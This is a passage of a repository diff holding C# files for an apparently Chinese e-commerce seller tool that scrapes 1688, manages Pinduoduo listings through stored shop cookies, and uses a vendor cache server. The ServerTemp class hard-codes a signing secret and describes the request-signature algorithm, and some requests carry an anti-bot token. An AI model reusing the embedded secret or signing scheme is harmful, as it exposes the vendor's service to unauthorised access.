public class LoadCloudData
{
/// <summary>
/// 过滤标题词
/// </summary>
public static List<string> NoTitleWord = new List<string>();
/// <summary>
/// 过来品牌词
/// </summary>
public static List<string> NoBrand = new List<string>();
/// <summary>
/// 加载云词
/// </summary>
public void Get()
{
string url = BaseClass.LoginApiUrl + "taobao/筛选词.txt";
string path = "temp/notitleword.tjm";
string html;
if (FileBase.Exists(path))
html = FileBase.ReadAllText(path, Encoding.Default);
else
{
html = GetHtml.Utf8(url);
FileBase.WriteAllText(path, html, Encoding.Default);
}
if (string.IsNullOrEmpty(html))
{
LogSave.Add("链接云数据库失败");
return;
}
string[] l = html.Split('\n');
for (int i = 0; i < l.Length; i++)
{
string s = l[i].Trim();
if (string.IsNullOrEmpty(s) || s.Length < 2)
continue;
string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)");
if (!string.IsNullOrEmpty(num) && num.Length == s.Length)
continue;
NoTitleWord.Add(s);
}
url = BaseClass.LoginApiUrl + "taobao/品牌词.txt";
path = "temp/nobrand.tjm";
if (FileBase.Exists(path))
html = FileBase.ReadAllText(path, Encoding.Default);
else
{
html = GetHtml.Utf8(url);
FileBase.WriteAllText(path, html, Encoding.Default);
}
if (string.IsNullOrEmpty(html))
{
LogSave.Add("链接云数据库失败");
return;
}
l = html.Split('\n');
for (int i = 0; i < l.Length; i++)
{
string s = l[i].Trim();
if (string.IsNullOrEmpty(s) || s.Length < 2)
continue;
string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)");
if (!string.IsNullOrEmpty(num) && num.Length == s.Length)
continue;
NoBrand.Add(s);
}
}
}
}
+9
View File
@@ -0,0 +1,9 @@
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
using System;
namespace Work.CollectClass
{
}
+164
View File
@@ -0,0 +1,164 @@
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json.Linq;
namespace Work.CollectClass
{
public class PermissionBLL
{
public async Task<TData<List<KeyValueBase>>> GetModuleList()
{
//http://new.qixiaoke.com/?obj=pinbaobao/nav_group_list&cid=18816&uid=103234&key=936746136&time=1593587666&code=09EC59F354BE1341654C3C7E218931B9
string url = BaseClass.BuildObjString("nav_group_list");
string data = UserLogin.GetSignaturex();
string html = await PostAsync(new HttpParam { Url = url, PostData = data });
//html = HtmlHelper.UnicodeDecode(html);
html=GetHtml.UrlDecode(html);
TData<List<KeyValueBase>> obj = new TData<List<KeyValueBase>>();
if (html.Equals("null"))
{
obj.Tag = 0;
return obj;
}
JObject jObj = JObject.Parse(html);
if (jObj["list"] != null)
{
obj.Result = new List<KeyValueBase>();
foreach (var item in jObj["list"])
{
obj.Result.Add(new KeyValueBase(item["module"].ParseToString(), item["enable"].ParseToString()));
}
obj.Tag = 1;
}
return obj;
}
public static async Task<string> PostAsync(HttpParam httpParam)
{
try
{
HttpWebRequest request = GetHttpWebRequest(httpParam);
request.Method = "Post";
request.ServicePoint.Expect100Continue = false;
byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData);
request.ContentLength = postDataByte.Length;
request.AllowAutoRedirect = false;
using (Stream requestStream = await request.GetRequestStreamAsync())
{
requestStream.Write(postDataByte, 0, postDataByte.Length);
}
return await ReadResponseAsync(httpParam, (HttpWebResponse)request.GetResponse());
}
catch
{
return string.Empty;
}
}
public static HttpWebRequest GetHttpWebRequest(HttpParam param)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(param.Url);
if (param.Proxy != null)
{
request.Proxy = param.Proxy;
}
if (!string.IsNullOrEmpty(param.UserAgent))
{
request.UserAgent = param.UserAgent;
}
else
{
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
}
if (!string.IsNullOrEmpty(param.Accept))
{
request.Accept = param.Accept;
}
else
{
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
}
if (string.IsNullOrEmpty(param.AcceptLanguage))
{
request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8");
}
else
{
request.Headers.Add("Accept-Language", param.AcceptLanguage);
}
if (!string.IsNullOrEmpty(param.ContentType))
{
request.ContentType = param.ContentType;
}
else
{
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
}
if (!string.IsNullOrEmpty(param.Referer))
{
request.Referer = param.Referer;
}
request.Headers.Remove("Cookie");
if (!string.IsNullOrEmpty(param.Cookie))
{
request.Headers.Add("Cookie", param.Cookie);
}
if (param.Header != null)
{
foreach (KeyValuePair<string, string> header in param.Header)
{
request.Headers.Add(header.Key, header.Value);
}
}
if (param.Timeout > 0)
{
request.Timeout = param.Timeout;
}
else
{
request.Timeout = 60 * 1000;
}
return request;
}
public static async Task<string> ReadResponseAsync(HttpParam httpParam, HttpWebResponse response)
{
using (Stream stream = DecompressStream(response))
{
using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding))
{
return await streamReader.ReadToEndAsync();
}
}
}
public static Stream DecompressStream(HttpWebResponse response)
{
Stream responseStream = response.GetResponseStream();
Stream stream = null;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
stream = new GZipStream(responseStream, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
stream = new DeflateStream(responseStream, CompressionMode.Decompress);
}
if (stream == null)
{
return responseStream;
}
else
{
return stream;
}
}
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+38
View File
@@ -0,0 +1,38 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.CollectClass
{
public class PinduoduoRelation
{
/// <summary>
/// 拼多多商品id(要关联的拼多多商品id)
/// </summary>
public long? goods_id { get; set; }
/// <summary>
/// 外部平台商品id
/// </summary>
public string out_goods_id { get; set; }
/// <summary>
/// 外部平台商品最低价,单位:分
/// </summary>
public long? out_low_goods_price { get; set; }
/// <summary>
/// 外部平台商品最高价,单位:分
/// </summary>
public long? out_high_goods_price { get; set; }
/// <summary>
/// 外部平台枚举值, 0-淘宝/天猫 ,1-京东,2-1688,3-唯品会,4-苏宁,5-亚马逊,6-网易,
/// 8-微店,9-网商园,10-蘑菇街,11-vvic搜款网,12-搜鞋网,13-一起做网店17zwd,14-杭州女装网,
/// 15-折800,16-当当,17-青创网,18-开山网,19-新款网
/// </summary>
public int? source_type { get; set; }
/// <summary>
/// 邮费
/// </summary>
public long? postage { get; set; }
}
}
+278
View File
@@ -0,0 +1,278 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class ProductCheckControl
{
public string Name;
public static int threadCount = 5;
public static bool Running = false;
public static int goodCount = 0;
public static bool isCount = false;
public static int start = 0;
public static int end = 0;
public static string pid = "";
public static List<KeyValueBase> dicShopCount = new List<KeyValueBase>();
public static List<ProductCheckDetail> ShopProductCheckDetailList = new List<ProductCheckDetail>();
public static List<ProductCheckDetail> ShopProductCheckDetailList2 = new List<ProductCheckDetail>();
public static List<ProductStaus> ProductStatusList = new List<ProductStaus>();
public ProductCheckControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
public void Off()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Off), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
public void Del()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Del), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ProductCheckDetailLogic
{
public string Name;
public ShopChatBase Shop;
public int count;
public ProductCheckDetailLogic(string Name, ShopChatBase Shop)
{
this.Name = Name;
this.Shop = Shop;
}
public void Off()
{
var api = new PinduoduoApiGetProduct(Shop);
string html = api.SetOnline(long.Parse(ProductCheckControl.pid), false);
if (!html.Contains("\"is_success\":true"))
{
Thread.Sleep(2000);
html = api.SetOnline(long.Parse(ProductCheckControl.pid), false);
}
ProductStaus status = new ProductStaus();
status.goodId = ProductCheckControl.pid;
if (html.Contains("\"is_success\":true"))
{
status.OffStatus = "下架成功";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "下架成功");
}
else
{
status.OffStatus = "下架失败";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "下架失败");
}
}
public void Del()
{
string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/delete/batch";
string refere = "http://mms.pinduoduo.com/Pdd.html";
string data = "{\"goods_ids\":[" + ProductCheckControl.pid + "],\"mall_id\":" + Shop.MallId + ",\"creator\":\"" + Shop.ShopName + "\",\"creator_id\":" + Shop.ReceiverId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (html.Contains("商品仍在售"))
{
Off();
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
}
ProductStaus status = new ProductStaus();
status.goodId = ProductCheckControl.pid;
if (html.Contains("\"success\":true"))
{
status.DelStatus = "删除成功";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "删除成功");
}
else
{
status.DelStatus = "删除失败";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "删除失败");
}
}
public void Get()
{
GetAllOnlineCount();
int sub = ProductCheckControl.end - ProductCheckControl.start + 1;
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"order_by\":\"id:asc\",\"is_onsale\":1,\"size\":"+sub+",\"page\":#page#,\"mall_id\":" + Shop.MallId + "}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
if (allCount< ProductCheckControl.start)
{
LogSave.Add(Name, "当前店铺最大在线商品数量为 " + allCount+",请停止操作下一步按钮");
return;
}
//int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
//if (page > 1000)
//{
// page = 1000;
//}
int i = ProductCheckControl.end / sub;
if (i > 1)
{
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
while (ProductCheckControl.Running)
{
Thread.Sleep(3000);
continue;
}
string list = m[j].Groups[0].Value;
ProductCheckDetail p = new ProductCheckDetail();
p.goodId = BaseRegex.GetStringJson(ref list, "id");
if (string.IsNullOrEmpty(p.goodId))
continue;
p.goodName = BaseRegex.GetStringJson(ref list, "goods_name");
string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
string datax = "{\"goods_id\":" + p.goodId + "}";
string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, "", true, datax, Shop.Cookies);
string temp = BaseRegex.GetMatchRegexString(ref htmlx, @"""carousel_gallery"":\[(.*?)\]");
var mc = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)""");
for (int k = 0; k < mc.Count; k++)
{
string imgx = mc[k].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (imgx.Contains("?"))
imgx = imgx.Substring(0, imgx.IndexOf("?"));
p.imgUrlList.Add(imgx);
}
for (int q = 0; q < p.imgUrlList.Count; q++)
{
byte[] img;
try
{
GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img);
if (img==null)
{
Thread.Sleep(2000);
GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img);
}
using (Stream stream = new MemoryStream(img))
{
p.imagePdd[q] = Image.FromStream(stream, true);
stream.Close();
stream.Dispose(); //释放占用资源
}
p.imglist.Add(img);
}
catch
{
}
}
System.GC.Collect();//垃圾回收
if (!ProductCheckControl.ShopProductCheckDetailList.Exists(pt => pt != null && pt.goodId == p.goodId))
{
ProductCheckControl.ShopProductCheckDetailList.Add(p);
ProductCheckControl.ShopProductCheckDetailList2.Add(p);
count++;
LogSave.Add(Name, "获取在线产品 " + p.goodId);
}
else
{
}
}
}
public void GetAllOnlineCount()
{
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
KeyValueBase pair = new KeyValueBase (Shop.ShopName,allCount.ToString());
ProductCheckControl.dicShopCount.Add(pair);
}
}
public class ProductCheckDetail
{
public string goodId = "";
public string goodName = "";
public List<string> imgUrlList = new List<string>();
public List<byte[]> imglist=new List<byte[]>();
public Image[] imagePdd = new Image[10];
}
public class ProductStaus
{
public string goodId = "";
public string OffStatus = "";
public string DelStatus = "";
}
}
@@ -0,0 +1,88 @@
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
namespace Work.CollectClass
{
public class SearchKeywordByAlibaba
{
public static string OrderString = "va_tbprofit&descendOrder=true";
public static List<string> ShopNames = new List<string>();
public static List<long> Ids = new List<long>();
public string Name, Keyword = "";
public SearchKeywordByAlibaba(string name)
{
Name = name;
}
public void GetKeyword(string keyword, ref int webCursor)
{
string refere = "https://s.1688.com/selloffer/offer_search.htm?priceStart=" + CollectKeywordByTaobao.MinPrice + "&priceEnd=" +
CollectKeywordByTaobao.MaxPrice + "&quantityBegin=2&sortType=" + OrderString + "&uniqfield=pic_tag_id&keywords=" +
GetHtml.UrlEncodeGb2312(keyword) + "&from=taoSellerSearch&n=y";
List<Thread> ts = new List<Thread>();
for (int i = 1; i <= CollectKeywordByTaobao.PageTop; i++)
{
string url = "https://s.1688.com/selloffer/rpc_async_render.jsonp?startIndex=0&keywords=" +
GetHtml.UrlEncodeGb2312(keyword) +"&n=y&pageSize=60&sortType=" + OrderString
+ "&from=taoSellerSearch&rpcflag=new&async=true&filt=y&priceStart=" + CollectKeywordByTaobao.MinPrice +
"&templateConfigName=taoSearchOfferresultModule&enableAsync=true&quantityBegin=2&qrwRedirectEnabled=false&asyncCount=20&_pageName_=taoSellerSearch&priceEnd=" +
CollectKeywordByTaobao.MaxPrice + "&offset=8&uniqfield=pic_tag_id&beginPage=" + i;
string html = GetPostTaobaoHtml.GetUrl(url, refere, false, "");
html = html.Replace("\\n", " ").Replace("\\\"", "\"").Replace("\\/", "/").Replace("\\'", "'");
var m = BaseRegex.GetMatchRegex(ref html, @"<li[^>]+t-rank=""([\d]+)""(.+?)</div>[\s]*</div>[\s]*</li>");
if (m == null || m.Count == 0)
{
Thread.Sleep(30 * 1000);
continue;
}
for (int j = 0; m != null && j < m.Count; j++)
{
while (CollectKeywordByTaobao.Running && CollectKeywordByTaobao.Waiting)
Thread.Sleep(100);
if (!CollectKeywordByTaobao.Running)
return;
string list = m[j].Groups[0].Value;
if (!list.Contains("一件代发"))
continue;
string id = BaseRegex.GetMatchRegexString(ref list, @"com/offer/([\d]+)\.html");
if (string.IsNullOrEmpty(id) )
continue;
string title = BaseRegex.GetMatchRegexString(ref list, @"title=""([^']+?)""");
ProductCollectBase product = new ProductCollectBase();
product.from_id = long.Parse(id);
product.from_title = title;
product.from_name = title;
product.from_url = "https://detail.1688.com/offer/" + product.from_id + ".html";
string sold = BaseRegex.GetMatchRegexString(ref list, @"近30天成交([\d]+)");
if (string.IsNullOrEmpty(sold))
sold = BaseRegex.GetIntJson(ref list, "tbMonthSales").ToString();
if (string.IsNullOrEmpty(sold))
sold = BaseRegex.GetMatchRegexString(ref list, @"<div class=""s-widget-oswtd-row-a"">([\d]+)件</div>");
product.saleCount = string.IsNullOrEmpty(sold) ? 0 : int.Parse(sold);
string price = BaseRegex.GetMatchRegexString(ref list, @"""¥[ ]*([\d\.]+?)""");
product.price = string.IsNullOrEmpty(price) ? 0 : decimal.Parse(price);
TaobaoProductBase t = new TaobaoProductBase();
t.FromId = product.from_id;
t.Titlte = product.from_title;
t.FromType = "阿里巴巴";
t.Price = product.price;
t.SaleCount = product.saleCount;
t.MainImage = CollectKeywordByTaobao.MainImageCut;
if (t.Price < CollectKeywordByTaobao.MinPrice || t.Price > CollectKeywordByTaobao.MaxPrice || t.SaleCount < CollectKeywordByTaobao.MinSale || t.SaleCount > CollectKeywordByTaobao.MaxSale)
continue;
FromTitleToCat ft = new FromTitleToCat();
ft.TaobaoProduct = t;
Threadx.ThreadListWait(ref ts, new Thread(ft.Get), 8);
Thread.Sleep(5 * 1000);
}
Thread.Sleep(10 * 1000);
}
}
}
}
+370
View File
@@ -0,0 +1,370 @@
using System;
using System.Collections.Generic;
using System.Text;
using AllBase;
using System.IO;
using System.Linq;
using System.Threading;
namespace Work.CollectClass
{
public class ServerTemp
{
/// <summary>
/// 获取服务器缓存
/// </summary>
/// <param name="siteId">来源网站</param>
/// <param name="pid">商品ID</param>
/// <param name="canUse">缓存是否可用</param>
/// <returns></returns>
public static string Get(int siteId, string pid, out bool canUse)
{
canUse = false;
if (siteId == -1)
pid = "key-" + pid;
else if (siteId == 1)
pid = "tb-" + pid;
else if (siteId == 2)
pid = "pd-" + pid;
else if (siteId == 3)
pid = "al-" + pid;
else if (siteId == 4)
pid = "wd-" + pid;
else if (siteId == 5)//京喜商品的前缀约定为:jx-
pid = "jx-" + pid;
else if (siteId == 6)
pid = "dy-" + pid;
//string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788";
//Random rd = new Random();
//var iR = rd.Next(1, 100);
//if (iR > 35)
string domain = "temp-new1.taojinhu.com:10019";
bool first = true;
Again:
string url = "https://" + domain + "/cache.php?id=" + pid;
string data = UserLogin.GetSignaturex();
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.Utf8(url, 20);
if (string.IsNullOrEmpty(html) && first)
{
first = false;
domain = "t3.1n11.com";
goto Again;
}
if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time")
return "";
string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})");
if (string.IsNullOrEmpty(date))
return "";
DateTime time;
if (!DateTime.TryParse(date, out time))
return "";
if (time.AddDays(14) > BaseClass.GetServerTimeString()) //time.AddDays(7)
canUse = true;
if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7)
canUse = true;
return html;
}
/// <summary>
/// 获取淘宝服务器缓存
/// </summary>
/// <param name="siteId">来源网站</param>
/// <param name="pid">商品ID</param>
/// <param name="canUse">缓存是否可用</param>
/// <returns></returns>
public static string GetTaoBao(int siteId, string pid, out bool canUse)
{
canUse = false;
if (siteId == -1)
pid = "key-" + pid;
if (siteId == 1)
pid = "tb-" + pid;
if (siteId == 2)
pid = "pd-" + pid;
if (siteId == 3)
pid = "al-" + pid;
//string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788";//备用
//Random rd = new Random();
//var iR = rd.Next(1, 100);
//if (iR > 35)
string domain = "temp-new1.taojinhu.com:10019";
bool first = true;
Again:
string url = "https://" + domain + "/cache.php?id=" + pid;
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.Utf8(url, 20);
if (string.IsNullOrEmpty(html) && first)
{
first = false;
domain = "t3.1n11.com";//tempx.1n11.com
goto Again;
}
if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time" || html == "error time" || html == "error code")
return "";
string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})");
if (string.IsNullOrEmpty(date))
return "";
DateTime time;
if (!DateTime.TryParse(date, out time))
return "";
if (time.AddDays(7) > BaseClass.GetServerTimeString())//time.AddDays(7)
canUse = true;
if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7)
canUse = true;
return html;
}
public static bool Set(int siteId, string pid, string content)
{
if (siteId == -1)
pid = "key-" + pid;
else if (siteId == 1)
pid = "tb-" + pid;
else if (siteId == 2)
pid = "pd-" + pid;
else if (siteId == 3)
pid = "al-" + pid;
else if (siteId == 4)
pid = "wd-" + pid;
else if (siteId == 5)
pid = "jx-" + pid;
else if (siteId == 6)
pid = "dy-" + pid;
string domain = "t3a.1n11.com";
string domainx = "temp-new1.taojinhu.com:10018";
byte[] contentByte = Encoding.UTF8.GetBytes(content);
string url = "https://" + domain + "/cache.php?act=savex&id=" + pid;
string urlx = "https://" + domainx + "/cache.php?act=savex&id=" + pid;
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
urlx += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.RequestImg(url, contentByte);
html = GetHtml.RequestImg(urlx, contentByte);
return html == "ok";
}
//密码 = 当前月份(202003)+ dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB
//签名变量csign算法 = md5(密码 + 时间戳(秒)+ $id(例子:tb-main-123456)+ 密码)
private static string EncryptionPassword = "dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB";
public static string CacheService(string ProductId, out long time)
{
string NewEncryptionPassword = BaseClass.GetServerTimeString().ToString("yyyyMM") + EncryptionPassword;
time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent;
if (string.IsNullOrEmpty(ProductId))
{
return "";
}
string csign = "";
csign = Md5Base.GetMd5(NewEncryptionPassword + time + ProductId + NewEncryptionPassword).ToLower();
return csign;
}
/// <summary>
/// 获取微店缓存上家数据
/// </summary>
/// <param name="upProduct"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> GetWeiDianCache(ProductCollectBase upProduct)
{
var mappingResultWd = new List<Tuple<string, int, int>>();
string tagStr = "vd";
string vdHtml = "";
string fromStr = "";
if (upProduct.from_site_id == 1)
fromStr = "tb-";
if (upProduct.from_site_id == 3)
fromStr = "al-";
else if (upProduct.from_site_id == 2)
fromStr = "pd-";
string url = BaseClass.BuildObjString("data_change&act=get_pid");
string data = "";
// 根据商品id查找缓存
if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error"))
{
long insertGoodId = Convert.ToInt64(upProduct.from_id) % 1024;
data = "&product_id=" + fromStr + tagStr + upProduct.from_id
+ "&img_id="
+ "&suffix=" + insertGoodId
+ "&site_id=&" + UserLogin.GetSignaturex();
vdHtml = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error"))
vdHtml = GetHtml.PostUtf8(url, data);
// 读取缓存成功
if (!string.IsNullOrEmpty(vdHtml) && !vdHtml.ToLower().Contains("error"))
{
string siteId = BaseRegex.GetMatchRegexString(vdHtml, "\"site_id\":\"([\\s\\S]+?)\"");
string content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)(])\"");
if (content != null)
{
content = content.Replace("\\", "") + "]";
}
else
{
content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)\"");
}
try
{
var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
foreach (var tupleItem in tupleItems)
{
var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
if (items.Length >= 2 && items[0].Length > 5)
{
try
{
var item1 = items[0];
var item2 = items[1];
var item3 = items.Length >= 3 ? items[2] : items[1];
mappingResultWd.Add(new Tuple<string, int, int>(item1, Convert.ToInt32(item2), Convert.ToInt32(item3)));
}
catch
{
}
}
else if (items.Length == 1 && items[0].StartsWith("tit_"))
{
// 微店商品标题
//if (string.IsNullOrEmpty(prod.ProductTitle))
//{
// prod.ProductTitle = items[0].Replace("tit_", "");
// prod.ProductTitle = GetHtml.Unicode2String(prod.ProductTitle).Replace("\\/", "/");
//}
}
}
}
catch
{
}
}
}
return mappingResultWd;
}
/// <summary>
/// 根据商品标题寻找微店商品缓存
/// </summary>
/// <param name="title">商品标题</param>
/// <param name="mappingFrom"></param>
/// <param name="isVDian"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> GetFakeCacheVDianTitle(string productTitle)
{
var result = new List<Tuple<string, int, int>>();
var html = "";
if (string.IsNullOrEmpty(productTitle))
return result;
string url = BaseClass.BuildObjString("data_change&act=get_cache_title");
string data = "";
// 根据商品id查找缓存
if (string.IsNullOrEmpty(html) || html.ToLower().Contains("error"))
{
string tid = Md5Base.GetMd5(productTitle).Substring(8, 16);
long suffix = Math.Abs(BaseClass.GetLong(tid)) % 1024;
data = "&tid=" + tid
+ "&suffix=" + suffix
+ "&" + UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data);
if (string.IsNullOrEmpty(html))
html = GetHtml.PostUtf8(url, data);
}
// 读取缓存成功
if (!string.IsNullOrEmpty(html) && !html.ToLower().Contains("error"))
{
string content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)(])\"");
if (content != null)
{
content = content.Replace("\\", "") + "]";
}
else
{
content = BaseRegex.GetMatchRegexString(html, "\"content\":\"([\\s\\S]+?)\"");
}
try
{
var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
foreach (var tupleItem in tupleItems)
{
var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
if (items.Length >= 2 && items[0].Length > 5)
{
try
{
var item1 = items[0];
var item2 = items[1];
var item3 = items.Length >= 3 ? items[2] : items[1];
result.Add(new Tuple<string, int, int>(item1, Convert.ToInt32(item2), Convert.ToInt32(item3)));
}
catch
{
}
}
}
}
catch
{
}
return result;
}
return null;
}
/// <summary>
/// 根据价格区间筛选可以满足Relation条件的微店商品
/// </summary>
/// <param name="prodList"></param>
/// <param name="minPrice"></param>
/// <param name="maxPrice"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> FilteWeiDianProducts(List<Tuple<string, int, int>> prodList, int minPrice, int maxPrice)
{
if (prodList == null)
return new List<Tuple<string, int, int>>();
if (prodList.Count == 0)
return prodList;
var result = prodList.Where(p => !string.IsNullOrEmpty(p.Item1) && p.Item2 >= minPrice && p.Item3 >= maxPrice && ((p.Item3 < maxPrice * 3.5M) || (p.Item3 < maxPrice + 3000))).ToList();
return result;
}
/// <summary>
/// 获取净化数据
/// </summary>
/// <param name="upProduct"></param>
/// <returns></returns>
public static string GetJinHuaCache(string pid)
{
string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/fession_api&act=get_detail";
